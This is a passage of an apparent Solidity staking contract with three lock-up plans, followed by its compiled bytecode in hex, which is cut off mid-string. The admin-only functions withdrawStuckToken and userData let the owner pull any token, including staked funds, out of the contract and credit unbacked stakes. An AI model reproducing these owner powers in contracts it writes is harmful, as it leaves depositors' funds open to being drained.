if(calcRewards(msg.sender, _depositId) > 0)
{
TOKEN.transferFrom(RewardAddress, address(this),calcRewards(msg.sender, _depositId) );
}
if (_depositId == 1) {
require(PlanI[msg.sender].Amount > 0, "not staked1");
PlanI[msg.sender].Amount = PlanI[msg.sender].Amount + (calcRewards(msg.sender, _depositId));
PlanI[msg.sender].TokenPerDay = (
CalculatePerDay(
((PlanI[msg.sender].Amount * (StakeI.StakePercent)) /
(percentDivider)),
StakeI.StakePeriod
)
);
PlanI[msg.sender].MaxClaimable =
((PlanI[msg.sender].Amount * (StakeI.StakePercent)) /
(percentDivider)) ;
PlanI[msg.sender].LastClaimTime = block.timestamp;
PlanI[msg.sender].StakeTime = block.timestamp;
PlanI[msg.sender].UnStakeTime =
block.timestamp +
(StakeI.StakePeriod);
PlanI[msg.sender].Claimable = 0;
PlanI[msg.sender].Claimed = 0;
} else if (_depositId == 2) {
require(PlanII[msg.sender].Amount > 0, "not staked2");
PlanII[msg.sender].Amount = PlanII[msg.sender].Amount + (calcRewards(msg.sender, _depositId));
PlanII[msg.sender].TokenPerDay = (
CalculatePerDay(
((PlanII[msg.sender].Amount * (StakeII.StakePercent)) /
(percentDivider)),
StakeII.StakePeriod
)
);
PlanII[msg.sender].MaxClaimable =
((PlanII[msg.sender].Amount * (StakeII.StakePercent)) /
(percentDivider)) ;
PlanII[msg.sender].LastClaimTime = block.timestamp;
PlanII[msg.sender].StakeTime = block.timestamp;
PlanII[msg.sender].UnStakeTime =
block.timestamp +
(StakeII.StakePeriod);
PlanII[msg.sender].Claimable = 0;
PlanII[msg.sender].Claimed = 0;
} else if (_depositId == 3) {
require(PlanIII[msg.sender].Amount > 0, "not staked3");
PlanIII[msg.sender].Claimable = 0;
PlanIII[msg.sender].Amount = PlanIII[msg.sender].Amount + (calcRewards(msg.sender, _depositId));
PlanIII[msg.sender].TokenPerDay = (
CalculatePerDay(
((PlanIII[msg.sender].Amount * (StakeIII.StakePercent)) /
(percentDivider)),
StakeIII.StakePeriod
)
);
PlanIII[msg.sender].MaxClaimable =
((PlanIII[msg.sender].Amount * (StakeIII.StakePercent)) /
(percentDivider)) ;
PlanIII[msg.sender].LastClaimTime = block.timestamp;
PlanIII[msg.sender].StakeTime = block.timestamp;
PlanIII[msg.sender].UnStakeTime =
block.timestamp +
(StakeIII.StakePeriod);
PlanIII[msg.sender].Claimable = 0;
PlanIII[msg.sender].Claimed = 0;
}
}
function withdrawAll(uint256 _depositId)
external
validDepositId(_depositId)
{
require(calcRewards(msg.sender,_depositId) > 0,"no claimable amount available yet");
_withdraw(msg.sender, _depositId);
}
function _withdraw(address _user, uint256 _depositId)
internal
validDepositId(_depositId)
{
if (_depositId == 1) {
require(PlanI[_user].Claimed <= PlanI[_user].MaxClaimable,"no claimable amount available3");
require(block.timestamp > PlanI[_user].LastClaimTime,"time not reached3");
if (calcRewards(_user, _depositId) > 0) {
TOKEN.transferFrom(RewardAddress, _user, calcRewards(_user, _depositId));
}
PlanI[_user].Claimed = PlanI[_user].Claimed + (calcRewards(_user, _depositId));
PlanI[_user].LastClaimTime = block.timestamp;
PlanI[_user].Claimable = 0;
}
if (_depositId == 2) {
require(PlanII[_user].Claimed <= PlanII[_user].MaxClaimable,"no claimable amount available3");
require(block.timestamp > PlanII[_user].LastClaimTime,"time not reached3");
if (calcRewards(_user, _depositId) > 0) {
TOKEN.transferFrom(RewardAddress, _user, calcRewards(_user, _depositId));
}
PlanII[_user].Claimed = PlanII[_user].Claimed + (calcRewards(_user, _depositId));
PlanII[_user].LastClaimTime = block.timestamp;
PlanII[_user].Claimable = 0;
}
if (_depositId == 3) {
require(PlanIII[_user].Claimed <= PlanIII[_user].MaxClaimable,"no claimable amount available3");
require(block.timestamp > PlanIII[_user].LastClaimTime,"time not reached3");
if (calcRewards(_user, _depositId) > 0) {
TOKEN.transferFrom(RewardAddress, _user, calcRewards(_user, _depositId));
}
PlanIII[_user].Claimed = PlanIII[_user].Claimed + (calcRewards(_user, _depositId));
PlanIII[_user].LastClaimTime = block.timestamp;
PlanIII[_user].Claimable = 0;
}
}
function CompleteWithDraw(uint256 _depositId)
external
validDepositId(_depositId)
{
if (_depositId == 1) {
require(
PlanI[msg.sender].UnStakeTime < block.timestamp,
"Time1 not reached"
);
TOKEN.transfer(msg.sender, PlanI[msg.sender].Amount);
currentStaked = currentStaked - (PlanI[msg.sender].Amount);
_withdraw(msg.sender, _depositId);
delete PlanI[msg.sender];
} else if (_depositId == 2) {
require(
PlanII[msg.sender].UnStakeTime < block.timestamp,
"Time2 not reached"
);
TOKEN.transfer(msg.sender, PlanII[msg.sender].Amount);
currentStaked = currentStaked - (PlanII[msg.sender].Amount);
_withdraw(msg.sender, _depositId);
delete PlanII[msg.sender];
} else if (_depositId == 3) {
require(
PlanIII[msg.sender].UnStakeTime < block.timestamp,
"Time3 not reached"
);
TOKEN.transfer(msg.sender, PlanIII[msg.sender].Amount);
currentStaked = currentStaked - (PlanIII[msg.sender].Amount);
_withdraw(msg.sender, _depositId);
delete PlanIII[msg.sender];
}
}
function calcRewards(address _sender, uint256 _depositId)
public
view
validDepositId(_depositId)
returns (uint256 amount)
{
if (_depositId == 1) {
uint256 claimable = PlanI[_sender].TokenPerDay *
((block.timestamp - (PlanI[_sender].LastClaimTime)) /
(TimeStep));
claimable = claimable + PlanI[_sender].Claimable;
if (
claimable >
PlanI[_sender].MaxClaimable - (PlanI[_sender].Claimed)
) {
claimable =
PlanI[_sender].MaxClaimable -
(PlanI[_sender].Claimed);
}
return (claimable);
} else if (_depositId == 2) {
uint256 claimable = PlanII[_sender].TokenPerDay *
((block.timestamp - (PlanII[_sender].LastClaimTime)) /
(TimeStep));
claimable = claimable + PlanII[_sender].Claimable;
if (
claimable >
PlanII[_sender].MaxClaimable - (PlanII[_sender].Claimed)
) {
claimable =
PlanII[_sender].MaxClaimable -
(PlanII[_sender].Claimed);
}
return (claimable);
} else if (_depositId == 3) {
uint256 claimable = PlanIII[_sender].TokenPerDay *
((block.timestamp - (PlanIII[_sender].LastClaimTime)) /
(TimeStep));
claimable = claimable + PlanIII[_sender].Claimable;
if (
claimable >
PlanIII[_sender].MaxClaimable - (PlanIII[_sender].Claimed)
) {
claimable =
PlanIII[_sender].MaxClaimable -
(PlanIII[_sender].Claimed);
}
return (claimable);
}
}
function getCurrentBalance(uint256 _depositId, address _sender)
public
view
returns (uint256 addressBalance)
{
if (_depositId == 1) {
return (PlanI[_sender].Amount);
} else if (_depositId == 2) {
return (PlanII[_sender].Amount);
} else if (_depositId == 3) {
return (PlanIII[_sender].Amount);
}
}
function depositDates(address _sender, uint256 _depositId)
public
view
validDepositId(_depositId)
returns (uint256 date)
{
if (_depositId == 1) {
return (PlanI[_sender].StakeTime);
} else if (_depositId == 2) {
return (PlanII[_sender].StakeTime);
} else if (_depositId == 3) {
return (PlanIII[_sender].StakeTime);
}
}
function isLockupPeriodExpired(address _user,uint256 _depositId)
public
view
validDepositId(_depositId)
returns (bool val)
{
if (_depositId == 1) {
if (block.timestamp > PlanI[_user].UnStakeTime) {
return true;
} else {
return false;
}
} else if (_depositId == 2) {
if (block.timestamp > PlanII[_user].UnStakeTime) {
return true;
} else {
return false;
}
} else if (_depositId == 3) {
if (block.timestamp > PlanIII[_user].UnStakeTime) {
return true;
} else {
return false;
}
}
}
// transfer Adminship
function transferOwnership(address payable _newAdmin) external onlyAdmin {
Admin = _newAdmin;
}
function withdrawStuckToken(address _token,uint256 _amount) external onlyAdmin {
IERC20(_token).transfer(msg.sender,_amount);
}
function ChangeRewardAddress(address payable _newAddress) external onlyAdmin {
RewardAddress = _newAddress;
}
function ChangePlan(
uint256 _depositId,
uint256 StakePercent,
uint256 StakePeriod
) external onlyAdmin {
if (_depositId == 1) {
StakeI.StakePercent = StakePercent;
StakeI.StakePeriod = StakePeriod;
} else if (_depositId == 2) {
StakeII.StakePercent = StakePercent;
StakeII.StakePeriod = StakePeriod;
} else if (_depositId == 3) {
StakeIII.StakePercent = StakePercent;
StakeIII.StakePeriod = StakePeriod;
}
}
function ChangeMinStake(uint256 val) external onlyAdmin {
minStake = val;
}
function ChangeMaxStake(uint256 val) external onlyAdmin {
maxStake = val;
}
function userData(
uint256[] memory _depositId,
uint256[] memory _amount,
address[] memory _user
) external onlyAdmin {
require(
_amount.length == _depositId.length &&
_depositId.length == _user.length,
"invalid number of arguments"
);
for (uint256 i; i < _depositId.length; i++) {
totalStaked = totalStaked + (_amount[i]);
currentStaked = currentStaked + (_amount[i]);
if (_depositId[i] == 1) {
PlanI[_user[i]].Claimable = calcRewards(
_user[i],
_depositId[i]
);
PlanI[_user[i]].TokenPerDay =
PlanI[_user[i]].TokenPerDay +
(
CalculatePerDay(
(_amount[i] * (StakeI.StakePercent)) /
(percentDivider),
StakeI.StakePeriod
)
);
PlanI[_user[i]].MaxClaimable =
PlanI[_user[i]].MaxClaimable +
((_amount[i] * (StakeI.StakePercent)) / (percentDivider));
PlanI[_user[i]].LastClaimTime = block.timestamp;
PlanI[_user[i]].StakeTime = block.timestamp;
PlanI[_user[i]].UnStakeTime =
block.timestamp +
(StakeI.StakePeriod);
PlanI[_user[i]].Amount = PlanI[_user[i]].Amount + (_amount[i]);
} else if (_depositId[i] == 2) {
PlanII[_user[i]].Claimable = calcRewards(
_user[i],
_depositId[i]
);
PlanII[_user[i]].TokenPerDay =
PlanII[_user[i]].TokenPerDay +
(
CalculatePerDay(
(_amount[i] * (StakeII.StakePercent)) /
(percentDivider),
StakeII.StakePeriod
)
);
PlanII[_user[i]].MaxClaimable =
PlanII[_user[i]].MaxClaimable +
((_amount[i] * (StakeII.StakePercent)) / (percentDivider));
PlanII[_user[i]].LastClaimTime = block.timestamp;
PlanII[_user[i]].StakeTime = block.timestamp;
PlanII[_user[i]].UnStakeTime =
block.timestamp +
(StakeII.StakePeriod);
PlanII[_user[i]].Amount =
PlanII[_user[i]].Amount +
(_amount[i]);
} else if (_depositId[i] == 3) {
PlanIII[_user[i]].Claimable = calcRewards(
_user[i],
_depositId[i]
);
PlanIII[_user[i]].TokenPerDay =
PlanIII[_user[i]].TokenPerDay +
(
CalculatePerDay(
(_amount[i] * (StakeIII.StakePercent)) /
(percentDivider),
StakeIII.StakePeriod
)
);
PlanIII[_user[i]].MaxClaimable =
PlanIII[_user[i]].MaxClaimable +
((_amount[i] * (StakeIII.StakePercent)) / (percentDivider));
PlanIII[_user[i]].LastClaimTime = block.timestamp;
PlanIII[_user[i]].StakeTime = block.timestamp;
PlanIII[_user[i]].UnStakeTime =
block.timestamp +
(StakeIII.StakePeriod);
PlanIII[_user[i]].Amount =
PlanIII[_user[i]].Amount +
(_amount[i]);
}
}
}
function getContractTokenBalance() public view returns (uint256) {
return TOKEN.balanceOf(address(this));
}
function CalculatePerDay(uint256 amount, uint256 _VestingPeriod)
internal
view
returns (uint256)
{
return (amount * (TimeStep)) / (_VestingPeriod);
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function decimals() external view returns (uint8);
function symbol() external view returns (string memory);
function name() external view returns (string memory);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount)
external
returns (bool);
function allowance(address _owner, address spender)
external
view
returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
|
0x6080604052600436106101bb5760003560e01c8063707bc4b2116100ec578063cd055bb71161008a578063ea1b28e011610064578063ea1b28e0146104d7578063f2fde38b146104ed578063fe6f1b051461050d578063ff1b636d1461052357600080fd5b8063cd055bb714610481578063ce8500df146104a1578063e2bbb158146104b757600080fd5b80638b53ccb3116100c65780638b53ccb314610401578063958e2d3114610421578063b08f205e14610441578063c5b57d8f1461046157600080fd5b8063707bc4b2146103b0578063817b1cd2146103cb57806382bfefc8146103e157600080fd5b8063375b3c0a1161015957806367a8083c1161013357806367a8083c1461032257806368efee2a14610342578063695464e9146103625780636bbfff001461037857600080fd5b8063375b3c0a146102cc5780635fd13a46146102e25780635ffd532d1461030257600080fd5b80632398175c116101955780632398175c1461023e5780632bdd00161461025957806330d66afa14610289578063317d9453146102a957600080fd5b806302f715ce146101c757806307aa56dd146101e95780630c506e961461021e57600080fd5b366101c257005b600080fd5b3480156101d357600080fd5b506101e76101e2366004612bc8565b610543565b005b3480156101f557600080fd5b50600c54600d54610204919082565b604080519283526020830191909152015b60405180910390f35b34801561022a57600080fd5b506101e7610239366004612bf9565b610a60565b34801561024a57600080fd5b50600854600954610204919082565b34801561026557600080fd5b50610279610274366004612bf9565b610b00565b6040519015158152602001610215565b34801561029557600080fd5b506101e76102a4366004612c25565b610bdc565b3480156102b557600080fd5b506102be610c28565b604051908152602001610215565b3480156102d857600080fd5b506102be60015481565b3480156102ee57600080fd5b506101e76102fd366004612bc8565b610c9a565b34801561030e57600080fd5b506101e761031d366004612c42565b6110c2565b34801561032e57600080fd5b506101e761033d366004612bc8565b61112b565b34801561034e57600080fd5b506102be61035d366004612bf9565b61115a565b34801561036e57600080fd5b506102be60035481565b34801561038457600080fd5b50600754610398906001600160a01b031681565b6040516001600160a01b039091168152602001610215565b3480156103bc57600080fd5b50600a54600b54610204919082565b3480156103d757600080fd5b506102be60025481565b3480156103ed57600080fd5b50600554610398906001600160a01b031681565b34801561040d57600080fd5b506102be61041c366004612bf9565b611468565b34801561042d57600080fd5b506101e761043c366004612bc8565b61151d565b34801561044d57600080fd5b506102be61045c366004612c6e565b6115b9565b34801561046d57600080fd5b506101e761047c366004612d74565b611635565b34801561048d57600080fd5b506101e761049c366004612bc8565b6121b3565b3480156104ad57600080fd5b506102be60045481565b3480156104c357600080fd5b506101e76104d2366004612e5b565b6121e2565b3480156104e357600080fd5b506102be60005481565b3480156104f957600080fd5b506101e7610508366004612c25565b6126b9565b34801561051957600080fd5b506102be6103e881565b34801561052f57600080fd5b50600654610398906001600160a01b031681565b8060018110158015610556575060038111155b61057b5760405162461bcd60e51b815260040161057290612e7d565b60405180910390fd5b60005460035411156105c85760405162461bcd60e51b815260206004820152601660248201527513585e14dd185ad9481b1a5b5a5d081c995858da195960521b6044820152606401610572565b6105d2338361115a565b6002546105df9190612ebe565b6002556105ec338361115a565b6003546105f99190612ebe565b6003556000610608338461115a565b1115610695576005546007546001600160a01b03918216916323b872dd911630610632338761115a565b6040518463ffffffff1660e01b815260040161065093929190612ed6565b6020604051808303816000875af115801561066f573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106939190612efa565b505b81600114156107d257336000908152600e60205260409020546106e85760405162461bcd60e51b815260206004820152600b60248201526a6e6f74207374616b65643160a81b6044820152606401610572565b6106f2338361115a565b336000908152600e602052604090205461070c9190612ebe565b336000908152600e60205260409020819055600854610744916103e89161073291612f1c565b61073c9190612f3b565b600954612705565b336000908152600e60205260409020600481019190915560085490546103e89161076d91612f1c565b6107779190612f3b565b336000908152600e602052604090206003810191909155426005820181905560079091018190556009546107aa91612ebe565b336000908152600e602052604081206006810192909255600282018190556001909101555050565b816002141561090f57336000908152600f60205260409020546108255760405162461bcd60e51b815260206004820152600b60248201526a3737ba1039ba30b5b2b21960a91b6044820152606401610572565b61082f338361115a565b336000908152600f60205260409020546108499190612ebe565b336000908152600f60205260409020819055600a54610881916103e89161086f91612f1c565b6108799190612f3b565b600b54612705565b336000908152600f602052604090206004810191909155600a5490546103e8916108aa91612f1c565b6108b49190612f3b565b336000908152600f60205260409020600381019190915542600582018190556007909101819055600b546108e791612ebe565b336000908152600f602052604081206006810192909255600282018190556001909101555050565b8160031415610a5c57336000908152601060205260409020546109625760405162461bcd60e51b815260206004820152600b60248201526a6e6f74207374616b65643360a81b6044820152606401610572565b3360008181526010602052604081206002015561097f908361115a565b336000908152601060205260409020546109999190612ebe565b336000908152601060205260409020819055600c546109d1916103e8916109bf91612f1c565b6109c99190612f3b565b600d54612705565b3360009081526010602052604090206004810191909155600c5490546103e8916109fa91612f1c565b610a049190612f3b565b336000908152601060205260409020600381019190915542600582018190556007909101819055600d54610a3791612ebe565b3360009081526010602052604081206006810192909255600282018190556001909101555b5050565b6006546001600160a01b03163314610a8a5760405162461bcd60e51b815260040161057290612f5d565b60405163a9059cbb60e01b8152336004820152602481018290526001600160a01b0383169063a9059cbb906044016020604051808303816000875af1158015610ad7573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610afb9190612efa565b505050565b60008160018110158015610b15575060038111155b610b315760405162461bcd60e51b815260040161057290612e7d565b8260011415610b6f576001600160a01b0384166000908152600e6020526040902060060154421115610b665760019150610bd5565b60009150610bd5565b8260021415610ba4576001600160a01b0384166000908152600f6020526040902060060154421115610b665760019150610bd5565b8260031415610bd5576001600160a01b038416600090815260106020526040902060060154421115610b6657600191505b5092915050565b6006546001600160a01b03163314610c065760405162461bcd60e51b815260040161057290612f5d565b600780546001600160a01b0319166001600160a01b0392909216919091179055565b6005546040516370a0823160e01b81523060048201526000916001600160a01b0316906370a0823190602401602060405180830381865afa158015610c71573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c959190612f8a565b905090565b8060018110158015610cad575060038111155b610cc95760405162461bcd60e51b815260040161057290612e7d565b8160011415610e1c57336000908152600e60205260409020600601544211610d275760405162461bcd60e51b8152602060048201526011602482015270151a5b594c481b9bdd081c995858da1959607a1b6044820152606401610572565b600554336000818152600e60205260409081902054905163a9059cbb60e01b8152600481019290925260248201526001600160a01b039091169063a9059cbb906044016020604051808303816000875af1158015610d89573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610dad9190612efa565b50336000908152600e6020526040902054600354610dcb9190612fa3565b600355610dd83383612727565b336000908152600e60205260408120818155600181018290556002810182905560038101829055600481018290556005810182905560068101829055600701555050565b8160021415610f6f57336000908152600f60205260409020600601544211610e7a5760405162461bcd60e51b8152602060048201526011602482015270151a5b594c881b9bdd081c995858da1959607a1b6044820152606401610572565b600554336000818152600f60205260409081902054905163a9059cbb60e01b8152600481019290925260248201526001600160a01b039091169063a9059cbb906044016020604051808303816000875af1158015610edc573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f009190612efa565b50336000908152600f6020526040902054600354610f1e9190612fa3565b600355610f2b3383612727565b336000908152600f60205260408120818155600181018290556002810182905560038101829055600481018290556005810182905560068101829055600701555050565b8160031415610a5c57336000908152601060205260409020600601544211610fcd5760405162461bcd60e51b8152602060048201526011602482015270151a5b594cc81b9bdd081c995858da1959607a1b6044820152606401610572565b600554336000818152601060205260409081902054905163a9059cbb60e01b8152600481019290925260248201526001600160a01b039091169063a9059cbb906044016020604051808303816000875af115801561102f573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110539190612efa565b50336000908152601060205260409020546003546110719190612fa3565b60035561107e3383612727565b336000908152601060205260408120818155600181018290556002810182905560038101829055600481018290556005810182905560068101829055600701555050565b6006546001600160a01b031633146110ec5760405162461bcd60e51b815260040161057290612f5d565b82600114156111015760089190915560095550565b826002141561111657600a91909155600b5550565b8260031415610afb57600c91909155600d5550565b6006546001600160a01b031633146111555760405162461bcd60e51b815260040161057290612f5d565b600055565b6000816001811015801561116f575060038111155b61118b5760405162461bcd60e51b815260040161057290612e7d565b8260011415611286576004546001600160a01b0385166000908152600e60205260408120600501549091906111c09042612fa3565b6111ca9190612f3b565b6001600160a01b0386166000908152600e60205260409020600401546111f09190612f1c565b6001600160a01b0386166000908152600e60205260409020600201549091506112199082612ebe565b6001600160a01b0386166000908152600e60205260409020600181015460039091015491925061124891612fa3565b81111561127f576001600160a01b0385166000908152600e60205260409020600181015460039091015461127c9190612fa3565b90505b9150610bd5565b8260021415611377576004546001600160a01b0385166000908152600f60205260408120600501549091906112bb9042612fa3565b6112c59190612f3b565b6001600160a01b0386166000908152600f60205260409020600401546112eb9190612f1c565b6001600160a01b0386166000908152600f60205260409020600201549091506113149082612ebe565b6001600160a01b0386166000908152600f60205260409020600181015460039091015491925061134391612fa3565b81111561127f576001600160a01b0385166000908152600f60205260409020600181015460039091015461127c9190612fa3565b8260031415610bd5576004546001600160a01b0385166000908152601060205260408120600501549091906113ac9042612fa3565b6113b69190612f3b565b6001600160a01b0386166000908152601060205260409020600401546113dc9190612f1c565b6001600160a01b0386166000908152601060205260409020600201549091506114059082612ebe565b6001600160a01b0386166000908152601060205260409020600181015460039091015491925061143491612fa3565b81111561127f576001600160a01b0385166000908152601060205260409020600181015460039091015461127c9190612fa3565b6000816001811015801561147d575060038111155b6114995760405162461bcd60e51b815260040161057290612e7d565b82600114156114c5576001600160a01b0384166000908152600e60205260409020600701549150610bd5565b82600214156114f1576001600160a01b0384166000908152600f60205260409020600701549150610bd5565b8260031415610bd5576001600160a01b0384166000908152601060205260409020600701549150610bd5565b8060018110158015611530575060038111155b61154c5760405162461bcd60e51b815260040161057290612e7d565b6000611558338461115a565b116115af5760405162461bcd60e51b815260206004820152602160248201527f6e6f20636c61696d61626c6520616d6f756e7420617661696c61626c652079656044820152601d60fa1b6064820152608401610572565b610a5c3383612727565b600082600114156115e357506001600160a01b0381166000908152600e602052604090205461162f565b826002141561160b57506001600160a01b0381166000908152600f602052604090205461162f565b826003141561162f57506001600160a01b0381166000908152601060205260409020545b92915050565b6006546001600160a01b0316331461165f5760405162461bcd60e51b815260040161057290612f5d565b82518251148015611671575080518351145b6116bd5760405162461bcd60e51b815260206004820152601b60248201527f696e76616c6964206e756d626572206f6620617267756d656e747300000000006044820152606401610572565b60005b83518110156121ad578281815181106116db576116db612fba565b60200260200101516002546116f09190612ebe565b600255825183908290811061170757611707612fba565b602002602001015160035461171c9190612ebe565b600355835184908290811061173357611733612fba565b602002602001015160011415611ac85761177f82828151811061175857611758612fba565b602002602001015185838151811061177257611772612fba565b602002602001015161115a565b600e600084848151811061179557611795612fba565b60200260200101516001600160a01b03166001600160a01b03168152602001908152602001600020600201819055506117f46103e86008600001548584815181106117e2576117e2612fba565b60200260200101516107329190612f1c565b600e600084848151811061180a5761180a612fba565b60200260200101516001600160a01b03166001600160a01b03168152602001908152602001600020600401546118409190612ebe565b600e600084848151811061185657611856612fba565b60200260200101516001600160a01b03166001600160a01b03168152602001908152602001600020600401819055506103e86008600001548483815181106118a0576118a0612fba565b60200260200101516118b29190612f1c565b6118bc9190612f3b565b600e60008484815181106118d2576118d2612fba565b60200260200101516001600160a01b03166001600160a01b03168152602001908152602001600020600301546119089190612ebe565b600e600084848151811061191e5761191e612fba565b60200260200101516001600160a01b03166001600160a01b031681526020019081526020016000206003018190555042600e600084848151811061196457611964612fba565b60200260200101516001600160a01b03166001600160a01b031681526020019081526020016000206005018190555042600e60008484815181106119aa576119aa612fba565b6020908102919091018101516001600160a01b03168252810191909152604001600020600701556009546119de9042612ebe565b600e60008484815181106119f4576119f4612fba565b60200260200101516001600160a01b03166001600160a01b0316815260200190815260200160002060060181905550828181518110611a3557611a35612fba565b6020026020010151600e6000848481518110611a5357611a53612fba565b60200260200101516001600160a01b03166001600160a01b0316815260200190815260200160002060000154611a899190612ebe565b600e6000848481518110611a9f57611a9f612fba565b6020908102919091018101516001600160a01b031682528101919091526040016000205561219b565b838181518110611ada57611ada612fba565b602002602001015160021415611e1f57611aff82828151811061175857611758612fba565b600f6000848481518110611b1557611b15612fba565b60200260200101516001600160a01b03166001600160a01b0316815260200190815260200160002060020181905550611b746103e8600a60000154858481518110611b6257611b62612fba565b602002602001015161086f9190612f1c565b600f6000848481518110611b8a57611b8a612fba565b60200260200101516001600160a01b03166001600160a01b0316815260200190815260200160002060040154611bc09190612ebe565b600f6000848481518110611bd657611bd6612fba565b60200260200101516001600160a01b03166001600160a01b03168152602001908152602001600020600401819055506103e8600a60000154848381518110611c2057611c20612fba565b6020026020010151611c329190612f1c565b611c3c9190612f3b565b600f6000848481518110611c5257611c52612fba565b60200260200101516001600160a01b03166001600160a01b0316815260200190815260200160002060030154611c889190612ebe565b600f6000848481518110611c9e57611c9e612fba565b60200260200101516001600160a01b03166001600160a01b031681526020019081526020016000206003018190555042600f6000848481518110611ce457611ce4612fba565b60200260200101516001600160a01b03166001600160a01b031681526020019081526020016000206005018190555042600f6000848481518110611d2a57611d2a612fba565b6020908102919091018101516001600160a01b0316825281019190915260400160002060070155600b54611d5e9042612ebe565b600f6000848481518110611d7457611d74612fba565b60200260200101516001600160a01b03166001600160a01b0316815260200190815260200160002060060181905550828181518110611db557611db5612fba565b6020026020010151600f6000848481518110611dd357611dd3612fba565b60200260200101516001600160a01b03166001600160a01b0316815260200190815260200160002060000154611e099190612ebe565b600f6000848481518110611a9f57611a9f612fba565b838181518110611e3157611e31612fba565b60200260200101516003141561219b57611e5682828151811061175857611758612fba565b60106000848481518110611e6c57611e6c612fba565b60200260200101516001600160a01b03166001600160a01b0316815260200190815260200160002060020181905550611ecb6103e8600c60000154858481518110611eb957611eb9612fba565b60200260200101516109bf9190612f1c565b60106000848481518110611ee157611ee1612fba565b60200260200101516001600160a01b03166001600160a01b0316815260200190815260200160002060040154611f179190612ebe565b60106000848481518110611f2d57611f2d612fba565b60200260200101516001600160a01b03166001600160a01b03168152602001908152602001600020600401819055506103e8600c60000154848381518110611f7757611f77612fba565b6020026020010151611f899190612f1c565b611f939190612f3b565b60106000848481518110611fa957611fa9612fba565b60200260200101516001600160a01b03166001600160a01b0316815260200190815260200160002060030154611fdf9190612ebe565b60106000848481518110611ff557611ff5612fba565b60200260200101516001600160a01b03166001600160a01b0316815260200190815260200160002060030181905550426010600084848151811061203b5761203b612fba565b60200260200101516001600160a01b03166001600160a01b0316815260200190815260200160002060050181905550426010600084848151811061208157612081612fba565b6020908102919091018101516001600160a01b0316825281019190915260400160002060070155600d546120b59042612ebe565b601060008484815181106120cb576120cb612fba565b60200260200101516001600160a01b03166001600160a01b031681526020019081526020016000206006018190555082818151811061210c5761210c612fba565b60200260200101516010600084848151811061212a5761212a612fba565b60200260200101516001600160a01b03166001600160a01b03168152602001908152602001600020600001546121609190612ebe565b6010600084848151811061217657612176612fba565b6020908102919091018101516001600160a01b03168252810191909152604001600020555b806121a581612fd0565b9150506116c0565b50505050565b6006546001600160a01b031633146121dd5760405162461bcd60e51b815260040161057290612f5d565b600155565b81600181101580156121f5575060038111155b6122115760405162461bcd60e51b815260040161057290612e7d565b600054600354111561225e5760405162461bcd60e51b815260206004820152601660248201527513585e14dd185ad9481b1a5b5a5d081c995858da195960521b6044820152606401610572565b6001548210156122b05760405162461bcd60e51b815260206004820152601860248201527f4465706f736974206d6f7265207468616e2031305f30303000000000000000006044820152606401610572565b6005546040516323b872dd60e01b81526001600160a01b03909116906323b872dd906122e490339030908790600401612ed6565b6020604051808303816000875af1158015612303573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906123279190612efa565b50816002546123369190612ebe565b600255600354612347908390612ebe565b600355600183141561246f5761235d338461115a565b336000908152600e60205260409020600281019190915554612380908390612ebe565b336000818152600e60205260409020919091556123d5906123a1908561115a565b600854336000908152600e60205260409020546103e8916123c191612f1c565b6123cb9190612f3b565b61073c9190612ebe565b336000908152600e6020526040902060048101919091556002810154600854915490916103e8916124069190612f1c565b6124109190612f3b565b61241a9190612ebe565b336000908152600e6020526040902060038101919091554260058201819055600790910181905560095461244d91612ebe565b336000908152600e602052604081206006810192909255600190910155505050565b826002141561259457612482338461115a565b336000908152600f602052604090206002810191909155546124a5908390612ebe565b336000818152600f60205260409020919091556124fa906124c6908561115a565b600a54336000908152600f60205260409020546103e8916124e691612f1c565b6124f09190612f3b565b6108799190612ebe565b336000908152600f6020526040902060048101919091556002810154600a54915490916103e89161252b9190612f1c565b6125359190612f3b565b61253f9190612ebe565b336000908152600f60205260409020600381019190915542600582018190556007909101819055600b5461257291612ebe565b336000908152600f602052604081206006810192909255600190910155505050565b8260031415610afb576125a7338461115a565b3360009081526010602052604090206002810191909155546125ca908390612ebe565b3360008181526010602052604090209190915561261f906125eb908561115a565b600c54336000908152601060205260409020546103e89161260b91612f1c565b6126159190612f3b565b6109c99190612ebe565b33600090815260106020526040902060048101919091556002810154600c54915490916103e8916126509190612f1c565b61265a9190612f3b565b6126649190612ebe565b336000908152601060205260409020600381019190915542600582018190556007909101819055600d5461269791612ebe565b3360009081526010602052604081206006810192909255600190910155505050565b6006546001600160a01b031633146126e35760405162461bcd60e51b815260040161057290612f5d565b600680546001600160a01b0319166001600160a01b0392909216919091179055565b600081600454846127169190612f1c565b6127209190612f3b565b9392505050565b806001811015801561273a575060038111155b6127565760405162461bcd60e51b815260040161057290612e7d565b81600114156128d0576001600160a01b0383166000908152600e60205260409020600381015460019091015411156127a05760405162461bcd60e51b815260040161057290612feb565b6001600160a01b0383166000908152600e602052604090206005015442116127da5760405162461bcd60e51b815260040161057290613022565b60006127e6848461115a565b1115612873576005546007546001600160a01b03918216916323b872dd911685612810818761115a565b6040518463ffffffff1660e01b815260040161282e93929190612ed6565b6020604051808303816000875af115801561284d573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906128719190612efa565b505b61287d838361115a565b6001600160a01b0384166000908152600e60205260409020600101546128a39190612ebe565b6001600160a01b0384166000908152600e6020526040812060018101929092554260058301556002909101555b8160021415612a4a576001600160a01b0383166000908152600f602052604090206003810154600190910154111561291a5760405162461bcd60e51b815260040161057290612feb565b6001600160a01b0383166000908152600f602052604090206005015442116129545760405162461bcd60e51b815260040161057290613022565b6000612960848461115a565b11156129ed576005546007546001600160a01b03918216916323b872dd91168561298a818761115a565b6040518463ffffffff1660e01b81526004016129a893929190612ed6565b6020604051808303816000875af11580156129c7573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906129eb9190612efa565b505b6129f7838361115a565b6001600160a01b0384166000908152600f6020526040902060010154612a1d